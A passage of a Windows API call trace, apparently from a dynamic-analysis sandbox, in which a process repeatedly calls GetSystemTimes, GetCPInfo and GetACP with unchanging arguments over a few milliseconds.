lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.195] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.195] GetACP () returned 0x4e4 [0060.195] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.196] GetACP () returned 0x4e4 [0060.196] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.197] GetACP () returned 0x4e4 [0060.197] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.198] GetACP () returned 0x4e4 [0060.198] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.199] GetACP () returned 0x4e4 [0060.199] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.200] GetACP () returned 0x4e4 [0060.200] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.201] GetACP () returned 0x4e4 [0060.201] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.202] GetACP () returned 0x4e4 [0060.202] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, 